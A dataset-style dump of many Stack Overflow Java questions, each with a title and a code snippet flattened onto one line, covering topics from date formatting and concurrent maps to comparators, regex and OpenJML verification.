the IP address of a URL I typed in.I 've also thrown UnknownHostException to try catch the error for incorrect URL's.The problem is , www.fake.cao is recognised as a genuine URL and returns me a unavailable IP address , and does n't throw an exception.Can anyone tell me what can I do to catch these pretentious URL 's ?",InetAddress ip = InetAddress.getByName ( `` www.fake.cao '' ) ; return ia.getHostAddress ( ) ;,Throw new exceptions for pretend URL address +Java,"I 've got something strange happening in a server running Linux , while a windows machine performing the same code behaves normally.It is happening with the following code : The output on the windows machine running : The above is matching the expected result.The output on the Linux machine running : This is odd is n't it ? Any nice workarounds ?","public static final SimpleDateFormat sqlDateFormat = new SimpleDateFormat ( `` Y-M-d '' ) ; Calendar cal = Calendar.getInstance ( ) ; String now = sqlDateFormat.format ( cal.getTime ( ) ) ; System.out.println ( now ) ; cal.add ( Calendar.DAY_OF_MONTH , -4 ) ; cal.set ( Calendar.HOUR_OF_DAY , 0 ) ; cal.set ( Calendar.MINUTE , 0 ) ; String trsh = sqlDateFormat.format ( cal.getTime ( ) ) ; System.out.println ( trsh ) ; java version `` 1.7.0_07 '' Java ( TM ) SE Runtime Environment ( build 1.7.0_07-b11 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 23.3-b01 , mixed mode ) Output : 2014-01-02 2013-12-29 java version `` 1.8.0-ea '' Java ( TM ) SE Runtime Environment ( build 1.8.0-ea-b108 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 25.0-b50 , mixed mode ) Output : 2014-01-02 2014-12-29",Is this a bug in Java.Calendar in Linux ? Year not updated +Java,In some android open source code I found can any one explain me difference between Normal Map and collections.synchronizedmap,"private Map < ImageView , String > imageViews=Collections.synchronizedMap ( new WeakHashMap < ImageView , String > ( ) ) ;",Difference between Normal Map and collections.synchronizedmap +Java,This gives an error saying that it is protected . Ca n't any subclass of object call that method .,class Main { public static void main ( String [ ] args ) { new Cloned ( ) .clone ( ) ; } } class Cloned implements Cloneable { },If all class extends object why ca n't they all call clone +Java,"In the setup of my test cases , I have this code : How do I connect the two in such a way that tests can register beans in the testBeanFactory during setup and the rest of the application uses them instead of the ones defined in common.xml ? Note : I need to mix a static ( common.xml ) and a dynamic configuration . I ca n't use XML for the latter because that would mean to write > 1000 XML files .",ApplicationContext context = new ClassPathXmlApplicationContext ( `` spring/common.xml '' ) ; StaticListableBeanFactory testBeanFactory = new StaticListableBeanFactory ( ) ;,How do I connect StaticListableBeanFactory with ClassPathXmlApplicationContext ? +Java,"I 'm tuning an app we run on App Engine and one of the largest costs is data store reads and writes . I have noticed one of the biggest offenders of the writes is when we persist an order.Basic data is Order has many items - we store both separately and relate them like this : The appstats is showing two data store puts for an order with a single item - but both are using massive numbers of writes . I want to know the best way to optimize this from anyone who 's got experience.AppStats data : real=34ms api=1695ms cost=6400 billed_ops= [ DATASTORE_WRITE:64 ] real=42ms api=995ms cost=3600 billed_ops= [ DATASTORE_WRITE:36 ] Some of the areas I know of that would probably help : less indexes - there 's implict indexes on a number of order and item properties that I could tell appengine not to index , for example item.quantity is not something I need to query by . But is that what all these writes are for ? de-relate item and order , so that I just have a single entity OrderItem , removing the need for a relationship at all ( but paying for it with extra storage ) .In terms of explicity indexes , I only have 1 on the order table , by order date , and one on the order items , by SKU/date and the implict one for the relationship.If the items were a collection , not a list , would that remove the need for an index on the children _IDX entirely ? So , my question would be , are any of the above items going to herald big wins , or are there other options I 've missed that would be better to focus on initially ? Bonus points : Is there a good 'guide to less datastore writes ' article somewhere ?",@ PersistenceCapablepublic class Order implements Serializable { @ Persistent ( mappedBy= '' order '' ) @ Element ( dependent = `` true '' ) private List < Item > orderItems ; // other fields too obviously } @ PersistenceCapablepublic class Item implements Serializable { @ Persistent ( dependent = `` true '' ) @ JsonIgnore private Order order ; // more fields ... },How can I optimize an AppEngine Java/JDO datastore put ( ) to use less writes +Java,"I have the following map : My goal is to verify capacity of this map using hamcrest matchers . I 've tried the following approach : But looks like that hasItem method works only with collections.Is there any alternative method for verifying custom objects ? new MyCustomObject ( ) does not work in my case because test fails by hashcode equality . And , another thing is that I can not modify MyCustomObject class .","Map < String , MyCustomObject > assertThat ( map , hasEntry ( `` key '' , ( MyCustomObject ) hasItem ( hasProperty ( `` propertyName '' , equalTo ( `` value '' ) ) ) ) ) ;",Verify map with custom values +Java,"Can anyone explain why do I get those values while trying to parse a date ? I 've tried three different inputs , as follows:1 ) Third week of 2013Which outputs : 02.2013 ( as I expected ) 2 ) First week of 2013Which outputs : 52.2012 ( which is fine for me , since the first week of 2013 is also the last one of 2012 ) 3 ) Second week of 2013Which outputs : 1.2012 ( which makes absolutely no sense to me ) Does anyone know why this happens ? ? I need to parse a date in the format ( week of year ) . ( year ) . Am I using the wrong pattern ?",Date date = new SimpleDateFormat ( `` ww.yyyy '' ) .parse ( `` 02.2013 '' ) ; Calendar cal = Calendar.getInstance ( ) ; cal.setTime ( date ) ; System.out.println ( cal.get ( Calendar.WEEK_OF_YEAR ) + `` . '' + cal.get ( Calendar.YEAR ) ) ; Date date = new SimpleDateFormat ( `` ww.yyyy '' ) .parse ( `` 00.2013 '' ) ; Calendar cal = Calendar.getInstance ( ) ; cal.setTime ( date ) ; System.out.println ( cal.get ( Calendar.WEEK_OF_YEAR ) + `` . '' + cal.get ( Calendar.YEAR ) ) ; Date date = new SimpleDateFormat ( `` ww.yyyy '' ) .parse ( `` 01.2013 '' ) ; Calendar cal = Calendar.getInstance ( ) ; cal.setTime ( date ) ; System.out.println ( cal.get ( Calendar.WEEK_OF_YEAR ) + `` . '' + cal.get ( Calendar.YEAR ) ) ;,Strange behaviour of ww SimpleDateFormat +Java,"I have created a ParallelFlux and then used .sequential ( ) , expecting at that point I can count or `` reduce '' the results of the parallel computations . The problem seems to be that the parallel threads are fired off and nothing is waiting for them . I have sort of gotten things to work using a CountDownLatch but I do n't think I should have to do that.TL ; DR - I can not get a result to print out for this code :","Flux.range ( 0 , 1000000 ) .parallel ( ) .runOn ( Schedulers.elastic ( ) ) .sequential ( ) .count ( ) .subscribe ( System.out : :println ) ;",Waiting for ParallelFlux completion +Java,"I 'm trying to implement a thread-safe Map cache , and I want the cached Strings to be lazily initialized . Here 's my first pass at an implementation : After writing this code , Netbeans warned me about `` double-checked locking , '' so I started researching it . I found The `` Double-Checked Locking is Broken '' Declaration and read it , but I 'm unsure if my implementation falls prey to the issues it mentioned . It seems like all the issues mentioned in the article are related to object instantiation with the new operator within the synchronized block . I 'm not using the new operator , and Strings are immutable , so I 'm not sure that if the article is relevant to this situation or not . Is this a thread-safe way to cache strings in a HashMap ? Does the thread-safety depend on what action is taken in the createString ( ) method ?","public class ExampleClass { private static final Map < String , String > CACHED_STRINGS = new HashMap < String , String > ( ) ; public String getText ( String key ) { String string = CACHED_STRINGS.get ( key ) ; if ( string == null ) { synchronized ( CACHED_STRINGS ) { string = CACHED_STRINGS.get ( key ) ; if ( string == null ) { string = createString ( ) ; CACHED_STRINGS.put ( key , string ) ; } } } return string ; } }",Does double-checked locking work with a final Map in Java ? +Java,I am trying to find out the maximum number of covered nodes via a path in a given graph . I have made a program using recursion but it is giving answer only for some simple graph not on complicated graph.Input is given in a string array like 1 # 2 : means node 1 is connected to node 2 or vice-versa.I have made a matrix of total nodes size and if node is connected set 1 else -1 in matrix . This matrix is used to calculate maximum covered node in path.Code : Where I am doing mistake in above code ?,"import java.io . * ; import java.util . * ; public class Medium { public static int node_covered ; public static int big=0 ; public static boolean [ ] visited ; public static int matrix_length ; public static String [ ] [ ] matrix ; public static String [ ] input=new String [ ] //answer is 7 . { `` 1 # 2 '' , `` 2 # 3 '' , '' 3 # 4 '' , '' 3 # 5 '' , '' 5 # 6 '' , '' 5 # 7 '' , '' 6 # 7 '' , '' 7 # 8 '' } ; public static void main ( String [ ] args ) { int total_nodes=maxno_city ( input ) ; System.out.println ( total_nodes ) ; } public static int maxno_city ( String [ ] input1 ) { int ln=input1.length ; HashSet hs = new HashSet ( ) ; for ( int i=0 ; i < ln ; i++ ) { String [ ] temp=input1 [ i ] .split ( `` # '' ) ; hs.add ( temp [ 0 ] ) ; hs.add ( temp [ 1 ] ) ; } matrix_length=hs.size ( ) ; hs.clear ( ) ; matrix=new String [ matrix_length ] [ matrix_length ] ; //initialize matrixfor ( String [ ] row : matrix ) Arrays.fill ( row , `` -1 '' ) ; //System.out.println ( Arrays.deepToString ( matrix ) ) ; for ( int i=0 ; i < matrix_length ; i++ ) { for ( int j=0 ; j < matrix_length ; j++ ) { String [ ] temp=input1 [ i ] .split ( `` # '' ) ; int first=Integer.parseInt ( temp [ 0 ] ) -1 ; int second=Integer.parseInt ( temp [ 1 ] ) -1 ; matrix [ first ] [ second ] = '' 1 '' ; matrix [ second ] [ first ] = '' 1 '' ; } } //System.out.println ( Arrays.deepToString ( matrix ) ) ; //initialized//now start work on matrixfor ( int i=0 ; i < matrix_length ; i++ ) { for ( int j=0 ; j < matrix_length ; j++ ) { visited=new boolean [ matrix_length ] ; if ( matrix [ i ] [ j ] .equals ( `` 1 '' ) ) { node_covered=0 ; getNextPath ( j , i ) ; //visited [ i ] =true ; } } } return big ; } //recursive methodpublic static void getNextPath ( int path , int visited_node ) { boolean flag=false ; visited [ visited_node ] =true ; node_covered++ ; for ( int i=0 ; i < matrix_length ; i++ ) { if ( matrix [ path ] [ i ] .equals ( `` 1 '' ) & & visited [ i ] ==false ) { //visited [ i ] =true ; flag=true ; getNextPath ( i , path ) ; //visited [ i ] =false ; } } if ( flag==false ) { if ( big < node_covered ) { big=node_covered ; //System.out.println ( big ) ; } } else { node_covered -- ; } //visited [ path ] =false ; } }",How to cover maximum number of nodes via given path in a graph ? +Java,"BackgroundI´m developing an application that displays a path over a map ( Google maps and OpenStreet maps ) . Bellow an output example : To draw the above path I´m using the following approach : The approach above takes about 1.5ms to draw 10.000 points , which is acceptable.However , I also want to show the path using different colors depending on the point altitude . Bellow an output example : As I could n't find a way to define different color per path segment , I 've tried the following approaches : Approach 1The most obvious solution , using a canvas.drawLine ( ) between each point in the path . Example bellow : This results in a very disappointing time of about 80ms for the same 10.000 points.Approach 2Segment the altitude in discrete steps , and build a list of Path objects , one per altitude segment change . Code example below : This results in a less disappointing time of about 5ms for the same 10.000 points . QuestionAlthough the last approach shows a significant improvement , compared to the first one , I would like to further improve it.Is there any other approach that could be used to draw the path with different color per segment in a more efficient way ( speed and/or memory usage ) ? Thanks for your time and your help .","private void drawWithoutElevation ( Canvas canvas , Projection projection ) { if ( rebuildRequired ) pathBuild ( ) ; else { //check if path need to be offset if ( offsetRequired ) { path.offset ( offset.x , offset.y ) ; } } canvas.drawPath ( path , paint ) ; } private void drawWithElevation ( Canvas canvas , Projection projection ) { for ( int i=1 ; i < geoArrList.size ( ) ; i++ ) { paint.setColor ( geoArrList.get ( i ) ) ; canvas.drawLine ( pPrev.x , pPrev.y , p1.x , p1.y , paint ) ; pPrev.set ( p1.x , p1.y ) ; } } } private void drawWithElevation ( Canvas canvas , Projection projection ) { if ( rebuildRequired ) pathBuild ( ) ; for ( int i=0 ; i < pathSegments.size ( ) ; i++ ) { if ( needOffset ) { pathSegments.get ( i ) .path.offset ( offsetX , offsetY ) ; } paint.setColor ( pathSegments.get ( i ) .color ) ; canvas.drawPath ( pathSegments.get ( i ) .path , paint ) ; } }",Path ( ) - Smart colored segments +Java,"When I find myself calling the same getter method multiple times , should this be considered a problem ? Is it better to [ always ] assign to a local variable and call only once ? I 'm sure the answer of course is `` it depends '' .I 'm more concerned about the simpler case where the getter is simply a `` pass-along-the-value-of-a-private-variable '' type method . i.e . there 's no expensive computation involved , no database connections being consumed , etc.My question of `` is it better '' pertains to both code readability ( style ) and also performance . i.e . is it that much of a performance hit to have : vs : I realize this question is a bit nit-picky and gray . But I just realized , I have no consistent way of evaluating these trade-offs , at all . Am fishing for some criteria that are more than just completely whimsical.Thanks .","SomeMethod1 ( a , b , foo.getX ( ) , c ) ; SomeMethod2 ( b , foo.getX ( ) , c ) ; SomeMethod3 ( foo.getX ( ) ) ; X x = foo.getX ( ) ; SomeMethod1 ( a , b , x , c ) ; SomeMethod2 ( b , x , c ) ; SomeMethod3 ( x ) ;",Premature optimization in Java : when to use `` x = foo.getX ( ) '' vs simply `` foo.getX ( ) '' +Java,"I am serializing a HashMap on my PC application using the following code : Then I am de-serializing it in my Android application with this code : In the end , I am facing two problems . 1 ) Deserialization takes a very long time . It contains around thousands of keys so is it normal ? Is there a more efficient serialization method to tackle that ? 2 ) After deserialization , I get a hashmap that occupies almost double the size it originally occupies on VM and when I check it in debugger , it has lots of null entries between the key values it should originally contain . However , they are not null keys but just null and I can not view what is inside them . I debug in Eclipse . Why would it happen ?","private void serialize ( HashMap < Integer , Integer > map2write , String name_ser ) { // serializes fphlist into .ser file called name_ser FileOutputStream fileOut = null ; try { fileOut = new FileOutputStream ( project_dir + `` / '' + name_ser + `` .ser '' ) ; } catch ( FileNotFoundException ex ) { Logger.getLogger ( AdminConsoleUI.class.getName ( ) ) .log ( Level.SEVERE , null , ex ) ; } ObjectOutputStream out ; try { out = new ObjectOutputStream ( fileOut ) ; out.writeObject ( map2write ) ; out.reset ( ) ; out.flush ( ) ; out.close ( ) ; fileOut.close ( ) ; } catch ( IOException ex ) { Logger.getLogger ( AdminConsoleUI.class.getName ( ) ) .log ( Level.SEVERE , null , ex ) ; } } private HashMap < Integer , Integer > deserialize_Map ( String fn ) { // deserializes fn into HashMap HashMap < Integer , Integer > hm = new HashMap < Integer , Integer > ( ) ; try { FileInputStream fileIn = new FileInputStream ( project_dir + `` / '' + fn + `` .ser '' ) ; ObjectInputStream in = new ObjectInputStream ( fileIn ) ; hm = ( HashMap < Integer , Integer > ) in.readObject ( ) ; in.close ( ) ; fileIn.close ( ) ; } catch ( IOException i ) { Log.e ( `` MYAPP '' , `` exception '' , i ) ; return null ; } catch ( ClassNotFoundException c ) { Log.e ( `` MYAPP '' , `` exception '' , c ) ; return null ; } catch ( ClassCastException ex ) { Log.e ( `` MYAPP '' , `` exception '' , ex ) ; return null ; } return hm ; }",HashMap Deserialization Issues in Android +Java,"So , java has a built in library dedicated for compiling java source code into .class files , and it is in javax.tools . So , I was wondering how exactly you get it to work . I 've read through the javadoc , and it gives some examples in there , but when I use those examples , I get errors.That is the example oracle gives in order to get an instance of the StandardJavaFileManager class from which you can do much more . However , I 'm having some issues with the very first line of that code . When I attempt to do ToolProvider.getSystemJavaCompiler ( ) ; , it always returns null . In the javadocs for that method , it says , `` returns the compiler provided with this platform or null if no compiler is provided . '' But they never show any other way of getting an instance of a JavaCompiler . I 've tried many other ways , such as using a ServiceLoader to find any reference of it that I could , but to no prevail . How might I go about getting this to work ?","JavaCompiler compiler = ToolProvider.getSystemJavaCompiler ( ) ; DiagnosticCollector < JavaFileObject > diagnostics = new DiagnosticCollector < JavaFileObject > ( ) ; StandardJavaFileManager fileManager = compiler.getStandardFileManager ( diagnostics , null , null ) ;",Use of javax.tools to compile java source at Runtime ? +Java,"So , the quote comes from `` Dependency Injection in .NET '' . Having that in consideration , is the following class wrongly designed ? So this FallingPiece class has the responsibility of controlling the current falling piece in a tetris game . When the piece hits the bottom or some other place , raises an event signaling that and then , through the factory , generates another new piece that starts falling again from above.The only alternative I see is to have an Initialize ( ) method that would generate the piece , but IMO that goes a bit against the idea of having the constructor put your object in a valid state .",class FallingPiece { //depicts the current falling piece in a tetris game private readonly IPieceGenerator pieceGenerator ; private IPiece currentPiece ; public FallingPiece ( IPieceGenerator pieceGenerator ) { this.pieceGenerator = pieceGenerator ; this.currentPiece = pieceGenerator.Generate ( ) ; //I 'm performing work in the constructor with a dependency ! } ... },`` Classes should never perform work involving Dependencies in their constructors . '' +Java,"I have a 2D matrix , I am travelling from cell 0,0 and collect as many 1 's as possible from the matrix using following : Each cell can have values 0 , 1 , -1Below are the rules to follow : Start from ( 0,0 ) till end point ( n-1 , n-1 ) . Move toward end point byright - > or down - > through valid cells ( means cells with 0 or 1 ) After reaching ( m-1 , n-1 ) travel back to ( 0,0 ) by moving left < - or upthrough valid cells.While travelling pick all 1 's and make them as empty cells ( 0 value ) By following this approach collect as many 1 's as possible.I have come up with below in-complete code that follows step 1 means from ( 0,0 ) to end pointThe program outputs 4 instead of 7 . Can you please help me what is the correct way of solving this task .","0 means a path is present1 means I can collect this as point-1 means an obstruction Example:0 1 11 0 11 1 1Output:7Explanation : ( 0,0 ) - > ( 0,1 ) - > ( 0,2 ) - > ( 1,2 ) - > ( 2,2 ) - > Now reverse direction ( 2,2 ) - > ( 2,1 ) - > ( 2,0 ) - > ( 1,0 ) - > ( 0,0 ) Using this path I can collect 7 ones . so result is 7.=================Example:0 1 11 0 -11 1 -1Output:0Explanation : Cell ( 2,2 ) is blocked , so we can not collect any ones class Main { // Function to check if cell ( i , j ) is valid and safe to visit public static boolean isSafe ( int [ ] [ ] mat , int i , int j ) { if ( i < 0 || i > = mat.length || j < 0 || j > = mat [ 0 ] .length || mat [ i ] [ j ] == -1 ) { return false ; } return true ; } // Function to collect maximum number of ones starting from // cell mat [ i ] [ j ] public static int findMaximum ( int [ ] [ ] mat , int i , int j ) { // return if cell ( i , j ) is invalid or unsafe to visit if ( ! isSafe ( mat , i , j ) ) { return 0 ; } int max = Integer.max ( findMaximum ( mat , i , j + 1 ) , findMaximum ( mat , i + 1 , j ) ) ; max += mat [ i ] [ j ] ; mat [ i ] [ j ] = 0 ; // making it empty cell return max ; } public static void main ( String [ ] args ) { int [ ] [ ] mat = { { 0 , 1 , 1 } , { 1 , 0 , 1 } , { 1 , 1 , 1 } } ; // 7 System.out.println ( findMaximum ( mat , 0 , 0 ) ) ; } }",Collect maximum points in a grid using two traversals +Java,"The code below is a small example that easily reproduces the issue . So I have variable of type String , on which a default value is set . I have 3 methods : gettersetterconvenience method that converts the string to booleanThe introspection does not return the getter as the readMethod and the setter as the writeMethod . Instead it returns the isTest ( ) method as the readMethod . The setter is empty.From the documentation I understand that if the type would be a boolean , the `` is '' method has higher precedence over get , but the type is String , so it does not make sense to even look for an `` is-xxx '' method ? Is there anyone who has some insight on this ? Additional information : The order does not change the outcome . The isTest ( ) method is always seen as readMethodIn case I simply rename the isTest ( ) to bsTest ( ) , it selects the getter and setter as readMethod and writeMethod . So it has something to do with `` is-xxx '' .","public class Test { public class Arguments { private String test = Boolean.toString ( true ) ; public boolean isTest ( ) { return Boolean.parseBoolean ( test ) ; } public String getTest ( ) { return test ; } public void setTest ( String test ) { this.test = test ; } } /** * @ param args the command line arguments */ public static void main ( String [ ] args ) throws IntrospectionException { BeanInfo info = Introspector.getBeanInfo ( Arguments.class ) ; System.out.println ( `` Getter : `` + info.getPropertyDescriptors ( ) [ 1 ] .getReadMethod ( ) ) ; System.out.println ( `` Setter : `` + info.getPropertyDescriptors ( ) [ 1 ] .getWriteMethod ( ) ) ; PropertyDescriptor descr = new PropertyDescriptor ( `` test '' , Arguments.class ) ; System.out.println ( `` T '' ) ; } }",Java Introspection - weird behaviour +Java,"We have code with complex Comparators that have been used for sorting java objects throughout our application . Historically these have worked , but since the introduction of TimSort in Java 7 we occasionally get the Comparison method violates its general contract ! error.. depending on what data is held within the object.Here is an example of one of our legacy Comparators ( which could be almost a decade old - excuse the dodgyiness ) : So , I want to replicate this functionality , but with a Comparator that is safe for use with TimSort.From the code you can see that there a multiple levels to this comparison.. It will compare the group codes.If Group codes are the same it will compare sort order.If Sort order is the same it will compare description.Which means it will return the result of the compare at a particular level . Which might be the comparison result of two strings or two integers . I think this is what is breaking the TimSort.The only way I have been able to make this Comparator work around the General Contract issue is by hashing the contents of the bean and performing a string comparison . Other ideas have included writing our own sorting function.. Surely there is a better way ? Should the bean be constructed in another way to support this ?","public int compare ( TemplateBean b1 , TemplateBean b2 ) { // avoid null pointer exceptions if ( b1 == null & & b2 == null ) return 0 ; if ( b1 == null ) return 1 ; if ( b2 == null ) return -1 ; int cmp = 0 ; if ( `` UNATTACHED '' .equals ( b1.getStatusCode ( ) ) & & ! `` UNATTACHED '' .equals ( b2.getStatusCode ( ) ) ) { cmp = 1 ; } if ( ! `` UNATTACHED '' .equals ( b1.getStatusCode ( ) ) & & `` UNATTACHED '' .equals ( b2.getStatusCode ( ) ) ) { cmp = -1 ; } if ( ! `` UNATTACHED '' .equals ( b1.getStatusCode ( ) ) & & ! `` UNATTACHED '' .equals ( b2.getStatusCode ( ) ) & & ! `` FIELDSIMPLE '' .equals ( b1.getRefRltshpTypeCode ( ) ) & & ! `` FIELDSIMPLE '' .equals ( b2.getRefRltshpTypeCode ( ) ) & & ! `` CUSTOM '' .equals ( b1.getRefRltshpTypeCode ( ) ) & & ! `` CUSTOM '' .equals ( b2.getRefRltshpTypeCode ( ) ) & & ! `` FUNCTION '' .equals ( b1.getRefRltshpTypeCode ( ) ) & & ! `` FUNCTION '' .equals ( b2.getRefRltshpTypeCode ( ) ) ) { String parent1 = b1.getGroupCode ( ) == null ? `` '' : b1.getGroupCode ( ) .toUpperCase ( ) ; String parent2 = b2.getGroupCode ( ) == null ? `` '' : b2.getGroupCode ( ) .toUpperCase ( ) ; cmp = parent1.compareTo ( parent2 ) ; } if ( cmp == 0 ) { Integer i1 = b1.getSortOrder ( ) == null ? Const.ZERO : b1.getSortOrder ( ) ; Integer i2 = b2.getSortOrder ( ) == null ? Const.ZERO : b2.getSortOrder ( ) ; cmp = i1.compareTo ( i2 ) ; } if ( cmp == 0 ) { String s1 = b1.getShortDescription ( ) ; if ( s1 == null ) s1 = `` '' ; String s2 = b2.getShortDescription ( ) ; if ( s2 == null ) s2 = `` '' ; cmp = s1.compareToIgnoreCase ( s2 ) ; } return cmp ; }",Proper way of sorting Java beans by multiple fields +Java,"Possible Duplicate : String.replaceAll ( ) anomaly with greedy quantifiers in regex Strange behavior in regexes Whileall return b , why doesreturn bb andreturn bab ?","`` a '' .replaceAll ( `` a '' , `` b '' ) '' a '' .replaceAll ( `` a+ '' , `` b '' ) '' a '' .replaceAll ( `` a+ ? `` , `` b '' ) `` a '' .replaceAll ( `` a* '' , `` b '' ) `` a '' .replaceAll ( `` a* ? `` , `` b '' )",Regexp metachars `` * '' and `` * ? '' in the JAVA 's replaceAll ( ) method behave oddly +Java,"I am new to using optionals in Java 8 . I know the method orElseGet ( ) takes a supplier and orElseThrow ( ) also takes a supplier that throws an exception . orElseThrow ( ) might be a good one to use if I can construct my own exception and do something when that exception is triggered.My main goal is to use a method that will either get the unwrapped value , or if the optional wraps null , then to actually execute an entirely different function . Looking for the closest thing to : If the only way to do this is orElseThrow ( ) , and as long as I can handle the exception with the 'do this instead ' code , that should be fine too . It just makes my codebase larger because I have to create a few different custom utility suppliers for the 2 or 3 cases where some of my optional values would return null.The problem is , .ifPresent ( ) invokes the specified consumer with the value , otherwise does nothing . I need it to DO SOMETHING if the value is null . My current code utilizes a custom workaround where I first check if the value is null , and if it is , execute a chosen function . Then the next statement is the one that checks for ifPresent ( ) . So this is doing the same thing , I am just looking for a more sugar-coated , one statement version .",class DoInsteadClass { public void doInstead ( ) { // Do this instead } } Optional < String > myString = `` Hello '' ; num.orElse ( DoInsteadClass : :doInstead ) ;,"I need to use a Java 8 Optional method that either gets the wrapped value , or calls a void return Consumer lambda" +Java,Let 's say we have a class as follows : And I want to write some code like this in main with results as in the comments : Can I do that by interfaces etc . or the only thing I can do is to write methods instead of using operators ? Thanks in advance .,"public class Time { int hour ; int min ; Time ( int hour , int m ) { hour=h ; min=m ; } public String toString ( ) { return hour+ '' : '' +min ; } } Time t1 = new Time ( 13,45 ) ; Time t2= new Time ( 12,05 ) ; System.out.println ( t1 > =t2 ) ; // trueSystem.out.println ( t1 < t2 ) ; // falseSystem.out.println ( t1+4 ) ; // 17:45System.out.println ( t1-t2 ) ; // 1:40System.out.println ( t1+t2 ) ; // 1:50 ( actually 25:50 ) System.out.println ( t2++ ) ; // 13:05",Using operators with objects in Java +Java,"Apologies in advance for a long-winded question . Feedback especially appreciated here . . .In my work , we do a lot of things with date ranges ( date periods , if you will ) . We need to take all sorts of measurements , compare overlap between two date periods , etc . I have designed an Interface , a base class , and several derived classes which serve my needs well to date : IDatePeriod DatePeriodCalendarMonthCalendarWeekFiscalYearStripped to its essentials , the DatePeriod superclass is as follows ( omits all the fascinating features which are the basis for why we need this set of classes . . . ) : ( Java pseudocode ) : The base class contains a bunch of rather specialized methods and properties for manipulating the date period class . The derived classes change only the manner in which the start and end points of the period in question are set . For example , it makes sense to me that a CalendarMonth object indeed `` is-a '' DatePeriod . However , for obvious reasons , a calendar month is of fixed duration , and has specific start and end dates . In fact , while the constructor for the CalendarMonth class matches that of the superclass ( in that it has a startDate and endDate parameter ) , this is in fact an overload of a simplified constructor , which requires only a single Calendar object . In the case of CalendarMonth , providing any date will result in a CalendarMonth instance which begins on the first day of the month in question , and ends on the last day of that same month . Apologies for the long preamble . Given the situation above , it would seem this class structure violates the Liskov substitution principle . While one CAN use an instance of CalendarMonth in any case in which one might use the more general DatePeriod class , the output behavior of key methods will be different . In other words , one must be aware that one is using an instance of CalendarMonth in a given situation . While CalendarMonth ( or CalendarWeek , etc . ) adhere to the contract established through the base class ' use of IDatePeriod , results might become horribly skewed in a situation in which the CalendarMonth was used and the behavior of plain old DatePeriod was expected . . . ( Note that ALL of the other funky methods defined on the base class work properly - it is only the setting of start and end dates which differs in the CalendarMonth implementation ) .Is there a better way to structure this such that proper adherence to LSP might be maintained , without compromising usability and/or duplicating code ?","class datePeriod implements IDatePeriodprotected Calendar periodStartDateprotected Calendar periodEndDate public DatePeriod ( Calendar startDate , Calendar endDate ) throws DatePeriodPrecedenceException { periodStartDate = startDate . . . // Code to ensure that the endDate can not be set to a date which // precedes the start date ( throws exception ) . . . periodEndDate = endDate { public void setStartDate ( Calendar startDate ) { periodStartDate = startDate . . . // Code to ensure that the current endDate does not // precede the new start date ( it resets the end date // if this is the case ) . . . { public void setEndDate ( Calendar endDate ) throws datePeriodPrecedenceException { periodEndDate = EndDate . . . // Code to ensure that the new endDate does not // precede the current start date ( throws exception ) . . . { // a bunch of other specialty methods used to manipulate and compare instances of DateTime } public class CalendarMonth extends DatePeriod public CalendarMonth ( Calendar dateInMonth ) { // call to method which initializes the object with a periodStartDate // on the first day of the month represented by the dateInMonth param , // and a periodEndDate on the last day of the same month . } // For compatibility with client code which might use the signature // defined on the super class : public CalendarMonth ( Calendar startDate , Calendar endDate ) { this ( startDate ) // The end date param is ignored . } public void setStartDate ( Calendar startDate ) { periodStartDate = startDate . . . // call to method which resets the periodStartDate // to the first day of the month represented by the startDate param , // and the periodEndDate to the last day of the same month . . . . { public void setEndDate ( Calendar endDate ) throws datePeriodPrecedenceException { // This stub is here for compatibility with the superClass , but // contains either no code , or throws an exception ( not sure which is best ) . { }",Inheritance and LSP +Java,"I have an issue with matching some of punctuation characters when Pattern.UNICODE_CHARACTER_CLASS flag is enabled.For sample code is as follows : The output is false , although it is explicitly stated in documentation that p { Punct } includes characters such as ! '' # $ % & ' ( ) *+ , -./ : ; < = > ? @ [ ] ^_ ` { | } ~Apart from '+ ' sign , the same problem occurs for following characters $ + < = > ^ ` |~When Pattern.UNICODE_CHARACTER_CLASS is removed , it works fine I will appreciate any hints on that problem","final Pattern p = Pattern.compile ( `` \\p { Punct } '' , Pattern.UNICODE_CHARACTER_CLASS ) ; final Matcher matcher = p.matcher ( `` + '' ) ; System.out.println ( matcher.find ( ) ) ;",Some punctuation characters are not matched with Pattern.UNICODE_CHARACTER_CLASS flag enabled +Java,"There are 2 ways to get a class 's Class object.Statically : From an instance : Now my question is getClass ( ) is a method present in the Object class , but what is .class ? Is it a variable ? If so then where is it defined in Java ?",Class cls = Object.class ; Object ob = new Object ( ) ; Class cls = ob.getClass ( ) ;,Where is .class defined in Java ? ( Is it a variable or what ? ) +Java,"One of the advice given by Joshua Bloch is that , class should be designed as immutable.I have the following classFor setDate method , this object will not be modified . Instead , a clone copy of this with its date field being modified will be returned.However , by judging from the method name , how does the user will know this object will still remain immutable ? Is there a better naming convention besides setDate ?","public class Dividend { public Dividend setDate ( SimpleDate date ) { Dividend dividend = new Dividend ( this.getStock ( ) , this.getAmount ( ) , date ) ; return dividend ; } ... ..// More to go .",Immutable class design +Java,"I have N threads that add values and one removing thread . I am thinking of the best way how to sync adding to existing list of values and removing of the list . I guess following case is possible : I think the only approach that I can use is syncing by map value , in our case is List when we adding and when we deleting","thread 1 checked condition containsKey , and entered in else block thread 2 removed the value thread 1 try to add value to existing list , and get returns null private ConcurrentSkipListMap < LocalDateTime , List < Task > > tasks = new ConcurrentSkipListMap < > ( ) ; //Thread1,3 ... N public void add ( LocalDateTime time , Task task ) { if ( ! tasks.containsKey ( time ) ) { tasks.computeIfAbsent ( time , k - > createValue ( task ) ) ; } else { //potentially should be synced tasks.get ( time ) .add ( task ) ; } } private List < Task > createValue ( Task val ) { return new ArrayList < > ( Arrays.asList ( val ) ) ; } //thread 2 public void remove ( ) while ( true ) { Map.Entry < LocalDateTime , List < Task > > keyVal = tasks.firstEntry ( ) ; if ( isSomeCondition ( keyVal ) ) { tasks.remove ( keyVal.getKey ( ) ) ; for ( Task t : keyVal.getValue ( ) ) { //do task processing } } } }",ConcurrentSkipListMap how to make remove and add calls atomic +Java,"I am experimenting with OpenJML in combination with Z3 , and I 'm trying to reason about double or float values : I have already found out OpenJML uses AUFLIA as the default logic , which does n't support reals . I am now using AUFNIRA.Unfortunately , the tool is unable to prove this class : Why is this ?",class Test { // @ requires b > 0 ; void a ( double b ) { } void b ( ) { a ( 2.4 ) ; } } → java -jar openjml.jar -esc -prover z3_4_3 -exec ./z3 Test.java -noInternalSpecs -logic AUFNIRATest.java:8 : warning : The prover can not establish an assertion ( Precondition : Test.java:3 : ) in method b a ( 2.4 ) ; ^Test.java:3 : warning : Associated declaration : Test.java:8 : // @ requires b > 0 ; ^2 